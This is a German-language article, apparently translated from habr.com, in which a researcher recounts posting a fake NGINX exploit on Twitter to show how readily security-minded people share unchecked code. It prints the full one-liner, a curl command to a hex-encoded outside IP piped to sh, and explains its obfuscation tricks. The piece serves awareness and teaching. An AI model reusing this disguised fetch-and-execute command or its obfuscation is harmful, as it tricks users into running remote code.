Erfolg des sozialen Experiments mit dem gefälschten Exploit für nginx

Hinweis.: Autor In einem kürzlich veröffentlichten Artikel vom 1. Juni entschied er sich, ein Experiment im Bereich der Informationssicherheit durchzuführen. Dazu bereitete er einen gefälschten Exploit für eine unentdeckte Schwachstelle in einem Webserver vor und veröffentlichte diesen auf seinem Twitter-Account. Seine Annahme, sofort von Fachleuten enttarnt zu werden, die den offensichtlichen Betrug im Code erkennen würden, stellte sich nicht nur als falsch heraus… Sie übertraf alle Erwartungen, und zwar in die andere Richtung: Der Tweet erhielt große Unterstützung von zahlreichen Menschen, die den Inhalt nicht überprüften.

TL;DR: Verwenden Sie auf keinen Fall die Dateiverarbeitung in sh oder bash. Das ist eine hervorragende Möglichkeit, die Kontrolle über Ihren Computer zu verlieren.

Ich möchte eine kleine Geschichte über einen scherzhaften PoC-Exploit teilen, der am 31. Mai erstellt wurde. Er erschien zeitnah als Antwort auf die Nachricht von Alisa Esage Schewtschenko, Mitglied der Zero Day Initiative (ZDI) hat angekündigt, dass bald Informationen über eine Sicherheitsanfälligkeit in NGINX veröffentlicht werden, die zu RCE (Remote Code Execution) führen kann. Da NGINX die Grundlage für viele Websites bildet, hatte diese Neuigkeit potenziell eine explosive Wirkung. Allerdings waren die Einzelheiten aufgrund von Verzögerungen im Prozess der 'verantwortungsvollen Offenlegung' nicht bekannt — so besagt das Standardverfahren von ZDI.

Tweet zur Offenlegung der Sicherheitsanfälligkeit in NGINX

Nachdem ich an einer neuen Obfuskationstechnik in curl gearbeitet hatte, zitierte ich den ursprünglichen Tweet und 'leakte ein funktionierendes PoC', das aus einer einzigen Codezeile besteht, die angeblich die entdeckte Sicherheitsanfälligkeit ausnutzt. Natürlich war das völliger Unsinn. Ich dachte, ich würde sofort entlarvt werden und im besten Fall würde ich ein paar Retweets bekommen (was auch in Ordnung wäre).

Tweet mit einem gefälschten Exploit

Aber ich konnte mir nicht vorstellen, was als Nächstes passierte. Die Popularität meines Tweets schoss durch die Decke. Erstaunlicherweise haben bis jetzt (15:00 MSK am 1. Juni) nur wenige erkannt, dass es sich um einen Fake handelt. Viele retweeten ihn, ohne überhaupt zu überprüfen (geschweige denn die wunderschöne ASCII-Grafik zu bewundern, die er ausgibt).

Schau dir diese Schönheit an!

Obwohl all diese Zyklen und Farben großartig sind, ist es offensichtlich: Um sie zu sehen, mussten die Leute Code auf ihrer Maschine ausführen. Glücklicherweise funktionieren Browser ähnlich, und da ich keine rechtlichen Probleme haben möchte, hat der Code auf meiner Seite nur Echo-Aufrufe gemacht, ohne zu versuchen, irgendeinen zusätzlichen Code zu installieren oder auszuführen.

Ein kleiner Exkurs: netspooky, dnz, ich und die anderen Jungs vom Team Thugcrowd spielen schon eine Weile mit verschiedenen Methoden zur Obfuskation von curl-Befehlen, weil es Spaß macht… und wir sind Nerds. Netspooky und dnz haben einige neue Ansätze entdeckt, die ich extrem vielversprechend fand. Ich habe mich dem Spaß angeschlossen und versucht, IP-dezimale Umwandlungen in die Tricks zu integrieren. Es stellte sich heraus, dass IPs auch in hexadezimale Formate umgewandelt werden können. Zudem „fressen“ curl und die meisten anderen NIX-Tools gerne hexadezimale IPs! Es war also nur notwendig, eine überzeugende und sicher aussehende Eingabeaufforderung zu erstellen. Letztendlich habe ich mich für diese entschieden:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Sozio-elektronische Ingenieurwissenschaft (S.E.E.) – mehr als nur Phishing

Sicherheit und Vertrautheit waren der zentrale Bestandteil dieses Experiments. Ich denke, genau diese Aspekte führten zu seinem Erfolg. Die Kommandozeile implizierte eindeutig Sicherheit, indem sie auf „127.0.0.1“ verwies (jeder kennt localhost). Man geht davon aus, dass localhost sicher ist und die Daten ihn niemals verlassen.

Vertrautheit war das zweite Schlüsselkomponente des S.E.E.-Experiments. Da die Zielgruppe größtenteils aus Personen bestand, die mit den Grundlagen der Computersicherheit vertraut sind, war es wichtig, einen Code zu erstellen, dessen Teile vertraut und somit sicher erscheinen. Die Übernahme von Elementen alter Exploit-Konzepte und deren ungewöhnliche Kombination war äußerst erfolgreich.

Nachfolgend finden Sie eine detaillierte Analyse des Einzeilers. Alles in dieser Liste hat kosmetischen Charakter, und für seine tatsächliche Funktion sind nahezu keine Anforderungen notwendig.

Welche Komponenten sind tatsächlich notwendig? Das sind -gsS, -O 0x0238f06a, |sh und der Webserver selbst. Der Webserver enthielt keine schädlichen Anweisungen, sondern übertrug einfach ASCII-Grafiken mit Hilfe von Befehlen echo im Skript, das enthalten ist in index.html. Wenn der Benutzer eine Zeile mit |sh in der Mitte eingab, index.html wurde geladen und ausgeführt. Glücklicherweise hatten die Betreiber des Webservers keine bösartigen Absichten.

• ../../../%00 — stellt einen Verzeichnisüberschreitung dar;
• ngx_stream_module.so — der Pfad zu einem zufälligen NGINX-Modul;
• /bin/sh%00<'protocol:TCP' — angeblich starten wir /bin/sh auf dem Zielrechner und leiten die Ausgabe in einen TCP-Kanal um;
• -O 0x0238f06a#PLToffset — eine geheime Zutat, ergänzt mit #PLToffset, um wie ein Speicheroffset auszusehen, das irgendwie im PLT enthalten ist;
• |sh; — ein weiterer wichtiger Abschnitt. Wir mussten die Ausgabe an sh/bash umleiten, um den Code auszuführen, der vom angreifenden Webserver mit der Adresse 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost — ein Platzhalter, bei dem netcat auf /dev/tcp/localhostverweist, um alles wieder sicher erscheinen zu lassen. Tatsächlich tut es jedoch nichts und ist zur Schönheitszwecken in der Zeile enthalten.

Damit endet die Entschlüsselung des Einzeilerskripts und die Diskussion über Aspekte der "sozio-elektronischen Ingenieurkunst" (aufwendiger Phishing).

Die Konfiguration des Webservers und Gegenmaßnahmen

Da die überwiegende Mehrheit meiner Abonnenten IT-Sicherheitsexperten und Hacker sind, habe ich beschlossen, den Webserver ein wenig widerstandsfähiger gegen das "Interesse" von ihrer Seite zu machen, nur damit die Jungs etwas zu tun haben (und es macht auch Spaß, ihn einzurichten). Ich werde hier nicht alle Fallen auflisten, da das Experiment noch läuft, aber hier sind einige Dinge, die der Server tut:

• Er verfolgt aktiv Versuche zur Verbreitung in bestimmten sozialen Netzwerken und zeigt verschiedene Vorschau-Thumbnail-Bilder an, um den Benutzer zu ermutigen, auf den Link zu klicken.
• Er leitet Chrome/Mozilla/Safari usw. auf einen Promo-Clip von Thugcrowd um, anstatt das Shell-Skript anzuzeigen.
• Er überwacht EVIDENTE Anzeichen für Eindringversuche/Angriffe und leitet dann Anfragen zu NSA-Servern um (haha!).
• Er installiert einen Trojaner sowie ein BIOS-Rootkit auf allen Computern, deren Benutzer die Website mit einem regulären Browser besuchen (Spaß!).

Ein kleiner Teil davon ist Anti-Mer

In diesem Fall war mein einziges Ziel, einige Funktionen von Apache zu erlernen – insbesondere die coolen Weiterleitungsregeln – und ich dachte mir: Warum nicht?

Echter NGINX-Exploit!

Folgen Sie @alisaesage auf Twitter und verfolgen Sie die großartige Arbeit von ZDI, die reale Schwachstellen und Exploit-Möglichkeiten in NGINX beheben. Ihre Arbeit hat mich immer fasziniert, und ich bin Alisa dankbar für ihre Geduld mit all den Erwähnungen und Benachrichtigungen, die durch meinen dummen Tweet ausgelöst wurden. Glücklicherweise brachte dies auch einige Vorteile: Es half, das Bewusstsein für NGINX-Schwachstellen sowie die durch Missbrauch von curl verursachten Probleme zu schärfen.

Quelle: habr.com